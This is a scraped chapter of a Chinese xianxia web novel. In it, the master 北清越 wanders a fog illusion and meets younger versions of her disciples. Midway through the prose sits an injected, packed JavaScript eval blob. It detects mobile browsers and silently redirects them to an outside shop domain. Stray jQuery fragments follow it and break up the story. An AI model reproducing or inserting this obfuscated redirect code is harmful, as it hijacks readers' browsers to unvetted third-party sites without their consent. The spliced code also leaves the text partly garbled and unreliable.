文趣网 > 其他小说 > 黑莲花徒弟他总在装乖 > 54. 第五十四章
    越往前走,白雾就越发浓重,几乎已经看不清前路。

    北清越升起灵力灯照明,但作用也微乎其微,光靠肉眼已无法辨别方向。

    她干脆闭上了眼睛,只靠耳朵去听,沉下心听着周围每一点动静。

    虫子簌簌爬动的声音,微风呼呼吹过的声音,尽数落入了她的耳中。

    但这些声响的都是幻境本身就存在的,而他们踩过的树枝,踏过的土地,都没有发出过声音。

    两人除了先前对话时的言语,便再没有引起过任何响动,仿佛他们并非存在于幻境之中。

    北清越抬脚时故意放低了些,鞋底轻轻擦过泥土,也没有出现一丁点响声。

    正当她对此场面感到十分怪异,想要出声打破这片死寂时,一声孩童的啼哭突然从不远处传来,撕心裂肺的哭声使劲往她耳朵里钻。

    她立刻转头看去,几乎没有犹豫地拉着南过溪往那处快步走去。

    白雾只多未减,但北清越还是一眼认出了那个极其模糊的身影。

    她微微睁大了眼睛,松开了南过溪的手,独自蹲下身扶起了跌坐在地的孩子:“千易?”

    夏千易如今看着不过四岁左右,扎着两个整齐的小辫,身着鹅黄襦裙,但身上蹭上了不少泥巴,用力张开的手掌上也满是湿泥。

    夏千易也进幻境了?

    她用力擦掉眼里盛满的泪水,却在看清北清越的脸后哭声更甚,张开双臂环住了北清越的脖颈:“师尊……”

    北清越将她抱了起来,轻轻拍着她的背安抚着:“没事了,有哪里摔疼了吗?”

    空青伸着脖子看向她,有些好奇地歪头盯着。

    夏千易的脸埋在她颈侧,抽泣着摇了摇头,片刻后又抬起头翘起了自己的一只脚,断断续续地开口:“鞋子,泥巴,脏了。”

    夏千易小的时候,北清越并不知道还要教小孩子说话,直到她三岁了才意识到这件事,因此她开口晚了些,现在也只能断断续续地吐出几个字,说的大多也是哪里蹭了灰,哪里沾了泥。

    北清越时常觉得这孩子更像是柏菁带大的。

    她见夏千易没事松了口气,给她全身上下都施了个净水咒,洗清了身上的所有污脏。

    她抬手擦掉了夏千易的眼泪,朝她笑了笑:“现在干净了。”

    夏千易睁着通红的眼睛开心地笑了起来,无意识地咬着自己的手指。

    北清越将她的指头抽出,洗净了上面口水,嗔怪着,语气里却没有多少责怪:“别咬手。”

    夏千易砸吧砸吧嘴,又靠回她肩上:“冷。”

    北清越捂了捂她的手:“冷吗?”

    她感受不出冷不冷,只是习惯性地问了一句。

    夏千易应了一声:“嗯,冷。”

    北清越渡了些灵力到她身上,突然想起更怕冷的南过溪却没说过冷。

    她转头往他那处看去,想着也给他渡些灵力,却不见了人影。

    北清越一惊,幻境之中没出现什么危险,又突然听到夏千易的哭声,她便也没多想,将南过溪独自留在了一旁。

    在此地的南过溪不过一个幻象,其实消失了也没什么,但她还是有些放心不下,总想看到人才能安心。

    空青叽叽叫了两声,在她头顶转着圈跳着,抬头在天上找人。

    她来回看了两下,但白雾越来越浓,根本看不清周围有没有人。

    “南过溪?”北清越将注意都到放在耳朵上,期望着他的回音。

    “我在这。”一个人影突然从地上窜出来,正好与她面对面。

    北清越被他吓了一跳,但好歹知道他没事,便放下心来。

    北清越将他拉近了些确保他在白雾中也能进入自己的视线:“干什么呢?”

    南过溪浅浅地笑了笑,看着有些羞赧:“累了,蹲了一下。”

    北清越有些无奈地摇了摇头,朝他招招手:“手。”

    南过溪一顿,脸上有些莫名,但还是将手放到了她手中。

    北清越握住了他的手,往他掌心渡着灵力保暖:“冷怎么不说?”

    南过溪像是被戳破了一般,低下头摸了摸鼻子:“也没有很冷。”

    北清越却没有直接略过,而是正了正神色,认真道:“你体内的寒毒不是普通的妖毒,靠近妖鬼会发作,受冷也会发作,后果没有你想的那么简单,以后冷了要说,知道吗?”

    南过溪静默一瞬,低着头轻声开口:“可是北宗师不是说我四年后才拜的师吗?我这四年要跟谁说……”

    北清越忽然一愣。

    她压根就没将面前的南过溪与五年后的南过溪区分开,没意识到他如今还不是自己的徒弟,没想起来他还在渡厄宗当那个不受待见的少主。

    北清越沉默良久,不知该回些什么。

    倒是南过溪先抬起头,有些勉强地笑了笑:“不过我现在只是一个幻象对吧?现实里的我已经是北宗师的徒弟了。”

    北清越见他如此感慨良多,却一时无言,只是低低地应了一声,被他拉着朝前走。

    良久,北清越在寂静中突然叹了口气。

    早知如此,南过溪一开始来拜师时就应该答应。

    她看着先她一步走在前方的南过溪,如此想着。

    夏千易从她肩上直起身,但一只手仍然环着她的脖颈,附耳低语:“师尊,那个,是谁?”

    北清越回过神看了她一眼,又顺着她的目光看向南过溪,解释道:“是千易的小师弟。”

    “啊?”夏千易歪了歪头,看着很是苦恼,“他,比我大。”

    她又低头看了看自己:“我只有,这么高。”

    北清越被她逗笑:“先拜师的就是师姐啊,而且千易在幻境外已经三百岁了,比他大很多了哦。”

    夏千易瞪圆了眼睛:“三百,比师尊,还大。”

    北清越闻言笑出了声。

    她在凡间捡到夏千易时刚过两百岁,而夏千易尚在襁褓之中,时间一晃竟然已过三百年了。

    她用额头抵了抵夏千易的,笑道:“师尊都已经五百岁了。”

    夏千易再次张大了嘴巴:“五百!”

    “那他,多大?”她又问。

    北清越道:“他在幻境外十八岁了,现在是十三。”

    如今只有四岁的夏千易有些骄傲地抬起了下巴:“好小,我都是,大人了。”

    北清越看着她弯起眼睛笑了笑。

    夏千易小时候虽然说话断断续续的,但很喜欢讲个不停,偶尔遇到谭谦来故意逗他,也是哭着躲到北清越身后。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890159|212587||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    但如今她的话少了很多,见到害怕的事也几乎不表现出来,若不是北清越对她太过熟悉,还真以为她不像小时候一样胆子那么小了。

    北清越看着咿咿呀呀的夏千易,心想真是长大了。

    三人继续向前走着,但除了白雾之外已经什么也见不到,连爬动的小虫子都越来越少,渐渐已经听不见它们的声音了。

    除此之外看似一切如常,而北清越在绝对的死寂中,突然又瞥见一个身影。

    那人离他们不过一步距离,却好似完全没有发现他们的存在。

    “千初?”北清越愈发表情凝固。

    有完没完了?

    夏千初闻言侧过耳,皱起眉循着声音偏头过去。

    北清越看了南过溪一眼,示意一下便松开了他的手,轻轻拉过夏千初:“这里。”

    夏千初目不能视,长久以来都是靠耳朵听,而如今周围已没有了任何声音,在他们来之前她定然是十分惶恐。

    只是她从来不会将这些情绪表现出来,现在也不过是紧紧贴着北清越,脸上依旧不动声色,像是什么异常也没有出现。

    北清越将她散落的发丝别在耳后,露出了那张看着不过十岁的脸。

    空青刚孵化出来,南过溪十三岁,夏千易四岁,夏千初十岁。

    毫无规律。

    这幻境到底是依据什么造出幻象的?

    而且一般幻境中的幻象总要有些作用,要么引导彼此自相残杀,要么欺骗各人永远留在此地,成为幻境的一部分。

    而她如今所见的幻象,除了年龄记忆与幻境外的他们有所不同外,完全没有其他异常。

    这些幻象出现的缘由是什么?作用又是什么?

    而且如此之巧,进入幻境的全是她的徒弟。

    北清越想到此处突然一顿。

    不会卫峥卫嵘也在幻境中吧……

    她有些头疼地闭了闭眼,一睁眼便看见南过溪低头站在一旁,目光黏在她和夏千初牵着的手上。

    北清越:“……”

    还没等她想出什么办法能一边抱着夏千易,一边还能牵上其他两人时,便见南过溪抬起了头。

    四目相对。

    南过溪先一步偏开了头,心情肉眼可见地低落下来。

    北清越此刻恨不得自己能长出三头六臂来。

    但很可惜,她长不出来。

    空青此时非常识时务地跳到了南过溪头顶,虽然报复性地照着他的脑袋踩了踩,但终归是没有让南过溪一个人待着。

    但鉴于他们的关系实在算不上好,北清越还是问了一句:“让空青和你一起走可以吗?”

    南过溪没有说可以,也没有说不可以,只是微微的点了点头。

    北清越无奈,但夏千易年纪太小,夏千初又看不见听不见,离不得她,暂时只能如此了。

    北清越长长叹了口气,她此刻只能祈求卫峥卫嵘两兄妹不要也出现在幻境中。

    然而她美好的幻想很快就破灭了。

    几人走了没几步,便听见不远处一男一女争吵不休声音传来。

    显然是卫峥和卫嵘。

    受到的刺激太对,北清越此时心如止水,但内心仍有一个声音在不停咆哮。

    到底在搞什么??